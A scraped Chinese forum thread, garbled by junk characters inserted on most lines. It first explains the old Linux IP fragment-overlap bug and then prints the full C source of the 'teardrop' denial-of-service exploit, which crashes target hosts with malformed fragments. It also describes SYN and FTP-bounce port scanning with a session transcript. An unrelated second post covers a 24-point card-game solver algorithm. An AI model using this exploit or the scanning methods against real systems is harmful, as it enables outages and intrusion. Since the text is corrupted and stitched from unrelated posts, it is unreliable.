memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);  Y& y, z8 j3 Y5 B
count += fp-&gt;len;9 r8 q- r, v( t  |8 \# ^, O
fp = fp-&gt;next;0 N7 ]  O; h/ `2 r
}
" }+ g1 ?1 m: C( t6 t9 K这里只检查了长度过大的情况,而没有考虑长度过小的情况,& N  \) O& @2 n. c# C
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
* P2 v9 n5 p) g" {end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)% @) t5 A7 F* L/ w5 h: h
是这样处理的:
; r% F# N2 ~+ @4 o" P$ q  N* I" R# fif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)4 g, s4 `  u( {9 @0 B0 E3 m& g. b
{
$ t! z; r7 `5 ?: ^8 ji = prev-&gt;end - offset;9 V8 L# s, I, W/ g, d: `. U8 M! Y
offset += i; /* ptr into datagram */
9 Q/ @  Q# s7 ]9 aptr += i; /* ptr into fragment data */$ l  M% O: R/ c& X
}</P><P>/* Fill in the structure. */' e# `2 p6 \2 m% V+ r
fp-&gt;offset = offset;
/ ^8 _  U2 K( M3 Mfp-&gt;end = end;
0 T$ \( |  c( d: V# ^fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
$ F  C" I+ T! B0 D第一个碎片:mf=1 offset=0 payload=20( L$ z  ]3 Q4 A6 y) w9 s9 @  ?
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 # d" f: W; R3 y+ T4 {, z
offset=0! X) _) ^0 o+ \( k( j% c# i
这样第二个碎片的 end=9+10=19# P# S- l! ^, k4 }
offset=offset+(20-offset)=20
' T& ~9 A/ d" K* lfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
7 M2 a8 U" `4 r/ |/*9 f2 t/ N# }; v
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.974 V8 o& t6 z5 m# q
*" r& E4 t3 d$ b$ z/ F. T9 D: e6 A
* Linux/NT/95 Overlap frag bug exploit
- C  T3 }/ u' u3 a3 v) }# o5 `9 }*
5 {0 @- j  z1 D1 c5 v( W* Exploits the overlapping IP fragment bug present in all Linux kernels and
5 T, j! J+ n: I8 {! U% O/ y* NT 4.0 / Windows 95 (others?)# i: n) l+ |% _. k' s& K
*) G4 b' z+ |6 \: j: ?# q
* Based off of: flip.c by klepto2 E3 ]' h" Z6 _: N* {
* Compiles on: Linux, *BSD*5 J% W" Y/ w' h% X5 `4 ^+ e
*! q+ {: V  b1 h* X  [
* gcc -O2 teardrop.c -o teardrop4 P! S8 {5 y% M& v3 R- d) {
* OR' L. I" u- p4 C$ D* G0 B2 S- m4 H
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
( ~+ J, E( O/ t) J; P*/</P><P>#include <STDIO.H>. X7 L3 D: l* @% a
#include <STDLIB.H>! _1 Y  m! B0 {: |
#include <UNISTD.H>& j# _: U: W5 q3 C) i
#include <STRING.H>% g8 x7 O, ]: I: C2 H* ~% E: U0 D
#include <NETDB.H>$ S' v8 s9 y7 }3 w- g; q
#include <NETINET in.h>
7 n+ _4 p$ h) ?; Q#include <NETINET udp.h>
3 X/ O4 a3 z' J7 V! o( j0 j/ u#include <ARPA inet.h>
9 G% `1 f$ g6 X#include <SYS types.h>. m+ O8 a8 g* b+ x
#include <SYS time.h>
- @: V; R! G) U/ p1 R#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
( O. ]9 i" P# k  P9 q/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
  \; a# }+ s& |) |#define FIX(n) (n)1 d0 n) S+ p& `$ E6 j" v) j2 G5 z: v
#else /* OpenBSD 2.1, all Linux */* o& u7 n) G4 n/ ]; w
#define FIX(n) htons(n)
; D; i) |: k& t* _#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */. }- Z0 V$ X' d' D# r. s1 S
#define IPH 0x14 /* IP header size */
0 ?9 Z3 X) x0 E+ B#define UDPH 0x8 /* UDP header size */
& V! d" z2 J& t+ a#define PADDING 0x1c /* datagram frame padding for first packet */0 A1 P! E" L5 j" C7 S! F) V
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */0 X3 `& U/ Y: i) z& O
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can6 ^8 ?' \4 _$ t) R* c
* withstand maybe 5 or 10 sometimes... Experiment.! u7 b6 Y1 c/ Y6 F+ m
*/</P><P>void usage(u_char *);
' Q0 b' z7 ]. V" H4 S* @$ l' j( ku_long name_resolve(u_char *);$ }  ?7 O6 O  ?3 t  I( e. Y
u_short in_cksum(u_short *, int);
* e4 F* z% l. l0 j& @+ ]void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
6 i% J6 e4 Q& A# ~{
3 F  n1 b* |% m6 [1 f4 F) a$ gint one = 1,
) x+ ]' M# k- Ocount = 0,
+ s& W4 u+ ^2 I  w% u1 `1 e) qi, 1 L/ ^) r9 R" x4 U. Y
rip_sock;
0 b2 _* U9 s/ su_long src_ip = 0, dst_ip = 0;
6 {% Y1 V; [  Hu_short src_prt = 0, dst_prt = 0;
: n& Q% k+ T" M( }0 [! ]struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
; d$ Z' K2 F# i6 r: S! b9 Uif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
  R, u2 a0 r$ s0 x+ H7 c{+ q+ l) O$ \% V. P$ O2 k
perror("raw socket");& D* |+ N' a3 j. y+ b6 `& i  Y  P
exit(1);
2 S. \( k$ A) [) Y1 ~}
( u) \: ^+ P, q% f4 |0 v//由系统处理IP校验和。
  b* y2 x* n5 b9 F( o+ ?) Qif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
3 t& @# q5 I) [5 P+ ^* @&lt; 0)
* ^  A% l6 Q0 l3 T# l0 a+ g{
6 d6 X; q' e+ q8 l9 G& j6 U8 }" Z4 ^perror("IP_HDRINCL");( ?/ x7 F) U' e! d9 `1 H
exit(1);' N  ~* o% K: E  [: T" s: N
}</P><P>if (argc &lt; 3) usage(argv[0]);6 {2 J& ?! L' [" K$ y- q$ ?  X
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
; A/ q, c+ G, o* y0 R- E) b+ g/ W{5 J. U6 p2 R$ A6 q) G. s
fprintf(stderr, "What the hell kind of IP address is that?\n");8 |% l! K9 }) S
exit(1);
' S0 M) F* P) V) {, t* i}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)* X( y2 g+ ?0 C' B% u9 e! U+ P
{
3 B% L# A! \) b( L8 K( A: K. {switch (i)+ V( K. F- H: E5 X: C  B$ ?
{' P- b; Z- W6 I& a. ?) r/ ?: A
case 's': /* source port (should be emphemeral) */$ q$ p& }+ e$ X3 j1 C
src_prt = (u_short)atoi(optarg);) m4 p' C  F& i. z) F
break;
. k7 f+ C+ ^0 m9 Qcase 't': /* dest port (DNS, anyone?) */7 y% G* \% A& V5 M( E) \2 l! Q0 K2 d
dst_prt = (u_short)atoi(optarg);4 Q2 S( V* n+ s# j& _& T. p6 k
break;
8 C. ~+ ?3 t1 g, a3 r7 E0 f5 c' m8 ycase 'n': /* number to send */
+ c' T& u' f5 U, h/ Z7 J* xcount = atoi(optarg);
! |# o2 j% @+ B, Qbreak;
! g" r" ~) B' ^# M0 P; W* Bdefault :
7 @0 p; h: v3 v9 W  husage(argv[0]);
5 _+ F+ ~/ h9 Vbreak; /* NOTREACHED */
  ?9 v  w6 v1 ~& x2 O- ?7 u7 O4 S}9 I9 M# v# B" ^* |
}</P><P>srandom((unsigned)(time((time_t)0)));
/ t% O6 X0 |, zif (!src_prt) src_prt = (random() % 0xffff);9 {- F8 P! B* ^2 u" P
if (!dst_prt) dst_prt = (random() % 0xffff);
+ V, u+ x& _1 B. Rif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");. @" e; X- M, ]) {( ?
addr.s_addr = src_ip;/ p3 Z8 y6 d( Y7 \
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
4 n' x( X2 |$ _! }# _. o' O* |6 |( Y  haddr.s_addr = dst_ip;
: O! b4 b3 O4 r" `( |fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);6 \1 z( p6 B' e$ s4 Z7 \
fprintf(stderr, " Amt: %5d\n", count);
+ X  u- c6 q0 q, A& _' yfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
3 @3 R9 Y4 h) V) `" J1 ~/ K{, |$ Z: L5 D( _* }) [% w: ]
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
. ^0 y9 D6 |: i% {fprintf(stderr, "b00m ");% A. ?1 y# o2 ?! X9 s" Y$ y
usleep(500);
' q3 |( _4 [' V1 g. U% Q0 F: @}
$ j  q( q- `' F# w# v$ Zfprintf(stderr, "]\n");& {5 V6 i) L4 S3 D; N2 B
return (0);
' M0 p0 O/ d! c5 l}</P><P>/*
" {) h4 }+ R! i0 V8 O* Send two IP fragments with pathological offsets. We use an implementation. k5 T' u2 l: ]% R0 t1 e
* independent way of assembling network packets that does not rely on any of* r* `: d  }  t3 a& b, ^2 U
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).3 P7 t) U) h3 o* U
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
/ Y& B) I6 ?: i( Z: U* x8 Pu_short dst_prt)# L- J. x/ X* D6 X$ y/ _
{
+ q* T% y4 R! t! R7 S/ @u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */. L# A1 ?- }( i& w1 ^4 e9 s5 i
u_char byte; /* a byte */
( A! [. v+ o( b- c( Rstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
9 t2 R- K$ M% {& Q7 g1 Fsin.sin_port = src_prt;
" Y% y* i4 i. i: u. x9 Nsin.sin_addr.s_addr = dst_ip;</P><P>/*: n; Y1 {$ l1 x9 m
* Grab some memory for our packet, align p_ptr to point at the beginning: r2 a# N1 B2 u( Q- X: U% C2 G( X
* of our packet, and then fill it with zeros.
$ _- Y. b3 a7 W% b. `*/
- h4 i$ B0 e. bpacket = (u_char *)malloc(IPH + UDPH + PADDING);
) [/ R5 x+ U. Q/ Wp_ptr = packet;
3 j0 M& L0 j7 I' ^+ I( d1 w$ Wbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */# `# T! U$ P5 n+ e+ T& K: t
memcpy(p_ptr, &amp;byte, sizeof(u_char));
" Z, w" m6 E% f. Q) }p_ptr += 2; /* IP TOS (skipped) */. X4 x: Y* B1 q! P% _* L: T  M
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */0 W6 Z' p; h3 e
p_ptr += 2;) }  Z( z' o8 t! H' F) v
*((u_short *)p_ptr) = htons(242); /* IP id */) [9 N7 n5 a6 R: m2 T* b. J1 J
p_ptr += 2;1 G7 s9 Y, i5 V; C; x: p$ W
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */8 R3 c7 A- V7 [- y1 L
p_ptr += 2;
" _. f- J7 E  ^3 O0 `8 d% T7 h! O*((u_short *)p_ptr) = 0x40; /* IP TTL */) ~; G0 x  `6 t9 ^  ?
byte = IPPROTO_UDP;7 t8 `' I. `/ |+ C# t* ]; h
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
/ @( U5 b: S0 zp_ptr += 4; /* IP checksum filled in by kernel */
4 R0 y3 L: I5 H* v3 i8 J2 y*((u_long *)p_ptr) = src_ip; /* IP source address */
; ~# M) A1 {) p5 ap_ptr += 4;
6 S# F7 W- B/ W# o' j# J3 P*((u_long *)p_ptr) = dst_ip; /* IP destination address */
; \8 o+ i5 I/ ^. S; ]5 G! np_ptr += 4;: I+ K; n8 v, O
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */) \+ G: f# ^, @, _
p_ptr += 2;
3 D- c( F" L( b% i9 A*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */$ D  v) H% t  D6 u% ^" H" {
p_ptr += 2;
1 @! i1 _# F" \+ s*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
7 y2 t7 l" }0 U* b  a' j, esizeof(struct sockaddr)) == -1)
- p2 j/ s1 u  x, w. D& F) f9 h{4 M4 n$ D: {: x% m
perror("\nsendto");; U8 @3 v# V$ |9 n
free(packet);9 c, V2 g+ r5 V9 e, R; Z
exit(1);
. A9 ^% K$ I5 \* j: Z}</P><P>/* We set the fragment offset to be inside of the previous packet's4 X+ N. R1 ^0 k: g: X
* payload (it overlaps inside the previous packet) but do not include4 O  W8 a2 O' E  r3 q
* enough payload to cover complete the datagram. Just the header will
' O2 \" m9 _- ]  F- B1 d* do, but to crash NT/95 machines, a bit larger of packet seems to work* G8 P" `5 B# B8 R/ j
* better.
# Q+ ?3 L/ S. ~* E( [1 W*/3 g: b6 A: m3 F8 A
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
$ b6 X8 V' ?8 ^/ g*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
" f8 T) z  i3 n- r# j7 c6 h$ np_ptr += 4; /* IP offset is 6 bytes into the header */
' D( N1 T" x8 Z; @+ f) }" A$ u*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,! Q6 b3 A# W$ Z; w8 O1 u0 J
sizeof(struct sockaddr)) == -1)0 ~: H; i$ d: \$ a0 o% s3 s1 F. ^
{) G  V6 [3 b! x, v
perror("\nsendto");+ K- K# X1 X& K1 ^; U! c& H% l" ^; V
free(packet);) L4 W- o0 {8 w# K& ^
exit(1);
: u& X. f4 P6 }}
- A# D: r0 S8 Z8 sfree(packet);& q4 _  q2 k( b. `% B( c
}</P><P>u_long name_resolve(u_char *host_name); l& g" b+ ?4 d! B3 S
{6 e/ n$ g" U& q' L- q) R
struct in_addr addr;
' W+ Z$ w/ S8 H. Y- G5 j0 dstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)' [" j  F2 q: Y% T; _. c' B, Y* K
{
* N& i: w3 v, C! b3 fif (!(host_ent = gethostbyname(host_name))) return (0);5 W7 {9 f. I- S; W2 `
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);3 P. c  e5 I9 b; ~8 T' A
}7 _  x; E' q4 U# E: l! k2 a- N' K
return (addr.s_addr);
* U  L/ \% [- b. \  x}</P><P>void usage(u_char *name): C% r# ?, Y4 Z* f6 j+ }% W
{
/ J+ U, ?! E/ e+ C7 O9 I& q5 Ffprintf(stderr,) E0 a! X9 K% B) p7 L
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",! @: Z. U" T1 x; G
name);
* H/ t0 _- |1 Eexit(0);7 g5 J. Q0 ]: B2 F" u, Q
}</P><P>
: o% t6 Z1 T6 c6 r4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: # d) m7 h5 e9 [- Z6 {8 \
(1) Half-open(半打开)
  _1 `7 h0 o' ?, Q- w2 N" J1 o% x利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),: m- k+ h. Z) }' G8 \' ]
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
0 B5 F; [! x6 N+ g% I. M利用了FTP的port命令,例如可以这样作:  e1 H  \9 Y9 R% Z$ c
选择一个FTP服务器,连上后令port命令指向目标机,如果返回" A1 z; W0 R* \( P9 [# C; @
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则$ }1 d0 B" B. Q1 j" i$ T  I+ F: b8 C! p
该端口无服务。4 C/ Y/ F! r9 y
telnet 192.168.1.13 21- ^0 x# Z! O" q5 \# J; o
Trying 192.168.1.13...
& S) ?+ [. I; K9 `2 rConnected to pp.bricks.org.
& _2 q+ T1 G5 k6 `1 W4 o' EEscape character is '^]'.
9 p* K$ [; s8 v+ Z220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
( o( }# g( G1 z+ s3 J$ a, ~3 YThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
5 J$ p* m( q$ G  x$ I9 f331 Guest login ok, send your complete e-mail address as password.
7 x, ~0 w/ P6 S2 n$ ]pass aa@aa.aa
: @7 \: I3 z; f  f+ y4 H230 Guest login ok, access restrictions apply.
7 ~) V" N6 O& Vport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.. D/ \% o/ c) r( t
425 Can't build data connection: Connection refused.
9 \' n" d3 G; `3 J7 v) S/ Q//该端口未活动
0 H  D! T( p. z9 e% q150 Opening ASCII mode data connection for file list.
1 E: r9 {  l$ F5 L226 Transfer complete.
' x2 h, G  m; ^" f4 J: o//该端口活动中" Q' L* l1 t- Q& F2 F% d) n# P
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
+ O7 f; a0 y% g) YSYN|FIN ACK or SYN|ACK* RST
: s+ `0 x  X& E+ c2 @" v- GACK Nothing RST! v2 K. o( G; m3 o& B
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
: S7 u/ Q! [6 h) [2 V: ~, Q一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
/ |1 p6 p( @( I% Y" \若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认# ], E- T, h& X% H+ {, O6 _
定它在向你做portscan。</P><P>notes:: ]* Q& o, e1 H; D6 t" v
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
& t& N# Y" E- C" ~3 j; |, w而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的- O; Z# W: g3 {9 {; S4 \) }: O, C
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>2 X* k5 e  S& _* X3 A
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。$ |, J! h/ q# ?

6 V! o0 n7 d. A0 X! {: R% s  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
" d& P' p& R% l: r5 q& H7 B, s7 Q" O首先穷举的可行性问题。我把表达式如下分成三类——) J7 _6 P' y; g  w, A. b- H8 Z
<FONT color=#ff0000>1、 无括号的简单表达式。
1 [+ F! C( \5 m5 J+ o: K+ M# k2、 有一个括号的简单表达式。  `" X: M; C* p% y
3、 有两个括号的较复4、 杂表达式。
0 G3 a$ {/ C1 ?+ f</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
2 g/ T. A7 I- ^9 h<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */8 Y) x, E" N1 m% F5 ?9 d( F6 f
/* c[] 存放四张牌的数组 */' ^) M0 m, l0 ^/ q; f
/* k[] c[]种四张牌的代号,其中k[I]=I+1。! E# X' Y/ N8 D2 H' c
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
' o: T8 k1 a- m6 D; R' P4 T/* kans[] 暂存生成的排列组合 */7 y# X0 V8 [; k1 N" a% ]
/* j 嵌套循环的次数 */; N& C" Z. ^7 z. ~' M
int fans(c,k,ans,kans,j)
$ o- n' z6 F* {% Vint j,k[],c[];char ans[],kans[];' Q1 k, M3 m4 y
{ int i,p,q,r,h,flag,s[4],t[4][4];
( ?: S2 D/ C& O9 v$ ~0 \& P4 Qfor(p=0,q=0;p&lt;4;p++)5 B, n$ n. u' t+ u5 S7 ^  _
{ for(r=0,flag=0;r<J;R++)
& u4 x+ k2 Q  o: Z6 c if(k[p]!=kans[r]) flag++;
4 |3 j; N, r! H+ d: g1 U8 vif(flag==j) t[j][q++]=k[p];+ q; ?4 h3 I, e+ A7 t
}# W. g2 K, O2 }6 B1 m
for(s[j]=0;s[j]&lt;4-j;s[j]++)% E4 [( Z# }: s6 [3 B/ B
{ kans[j]=t[j][s[j]];
! a, e( N( b2 E" E5 S4 e- Yif(j==3) { for(h=0;h&lt;4;h++)
' _, }5 d9 E8 g" Bans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
! S; }0 `6 ^4 X! q$ B# q. ]- m达式中的位置 */
+ ?6 M" p  a1 ?; m8 @2 kfor(h=0;h&lt;3;h++)- i) W# n5 [+ p1 r" Z# A* v: V
symbol(ans,h); /* 在表达式中添加运算符号 */
5 e7 s9 ?1 A! N7 I}
0 r  W' R$ s* X; h' B! _else { j++;
# c! Y" Z+ x8 H0 ~2 o  i, Ufans(c,k,ans,kans,j);
  x8 W7 |/ o/ ?, ij--;
) a$ y9 G  X/ {& C4 L: b8 U, G, ~}
; t$ D" d* S, a7 ^9 L5 D}
) d* [9 O. j0 i1 I}</FONT>4 }9 F! y6 k1 }: k7 m& @
7 Q- g3 [1 n6 M8 F. [
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:3 y1 E8 q. P% c  U% q* n% E; r
* r; l. w# m; {' G& u
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/& S& l9 L  J. \! W6 R* V
int sans(ans,sy,j,h)! e9 I# I+ m/ F. ~
char ans[],sy[];int j,h;! y( ^6 C9 Z9 R+ N4 @
{ int i,p,k[3],m,n; char ktans[20];
) K8 H3 F& `' A9 Z% Dfor(k[j]=0;k[j]&lt;4;k[j]++)4 f. ]1 J/ @) _4 e
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
- v% M0 K2 p/ K2 A这里的三个运算符号分别存放在1、3、5位*/
; `2 j7 i3 z+ a6 U7 W, U- C1 ]- u% fif(j==2)
5 g/ z; z$ y) P* G" }  b{ ans[5]=sy[k[j]];; _4 H1 b  p$ e2 J* i3 T
/* 此处根据不同的表达式形式再进行相应的处理 */
6 w5 F7 X; \) l, T9 d}
$ q* |  o- M) ~else { j++; sans(ans,sy,j--,h); }; ]( U1 Y, o) g" O
}' g& C9 Q! p2 e1 _& ^% w# l4 |' k
}
" A& @7 J8 Y0 T# H# E4 I2 ^) x1 N- o, ]7 i
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。7 v$ `5 f7 Q# n/ @: \
for(m=0;m&lt;=4;m+=2)
3 X9 y( o+ z4 O7 U8 Y8 Vfor(n=m+4;n&lt;=8;n+=2)
+ U7 F' M) k0 x% K( X! o  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
" |+ W5 O$ z1 H& }# d' [: l1 f0 T3 v) P7 O1 s' k; ]( b
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
7 U$ b+ l& O  p1 I</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
! b- L4 v* B* {) J2 o' e  }在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。0 n. W: M% s9 r2 s5 p4 l  H
# D" h  A( ]3 W+ k
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。4 e3 \* U- ^$ m' ~& O$ y0 L6 u+ L

; B0 L! o7 Q- O% s: e7 e( p  那么作为栈的著名应用,表达式的计算可以有两种方法。
+ u: b# @* A/ S7 |: l) Q# Y! t. C- `$ [8 h4 f/ h* |8 K- ~1 s9 s
  <FONT color=#ff0000>第一种方法——</FONT>
0 s& O0 G; v; B2 C& t  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
8 g  H5 d, R( P8 T0 ^( K  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
/ k  p/ E5 W9 c% c  ~! s1、 若W为操作数9 @4 u( ?( S# C% X
2、 则将W压入操作数栈OVS# D# c! b" }0 x9 d! Y, Q
3、 且继续扫描下一个字符
8 n6 J8 ~, B1 l& n  _/ e* b4 G4、 若W为运算符
/ g" E2 _8 w* A* Y0 e5、 则根据运算符的性质做相应的处理:6 K' Z( l+ w0 O
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
5 n. A. Q4 z5 e" [+ G(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
6 R$ |* m5 u0 l2 a( V7 M9 C(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
+ n& f/ h5 T& x1 B! \& X(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
* G2 U8 J; D4 v8 Q& E
+ l9 W2 W# w1 e! u7 O$ A<FONT color=#ff0000>  第二种方法——</FONT>
2 t( k* [" ~$ P9 l  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。# Q4 c' V. Q4 l& }" D$ ]1 J
7 f7 e# h5 [% q* x/ O
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。- ?' R, G/ l# B' z

6 @/ a, T8 Q  c) M   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
: Z# o# U! C4 b8 ^表达式 波兰表达式
- N# {7 b9 T  w/ h* CA-B AB-' j8 O6 z2 b5 ]! z& i" ^0 T
(A-B)*C+D AB-C*D+
7 n/ e  d: k; VA*(B+C/D)-E*F ABCD/+*EF*-
$ U; W. f7 g, \(B+C)/(A-D) BC+AD-/) }& k1 h; {4 j/ F# d3 t

& \/ r  _- G' Y( L  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
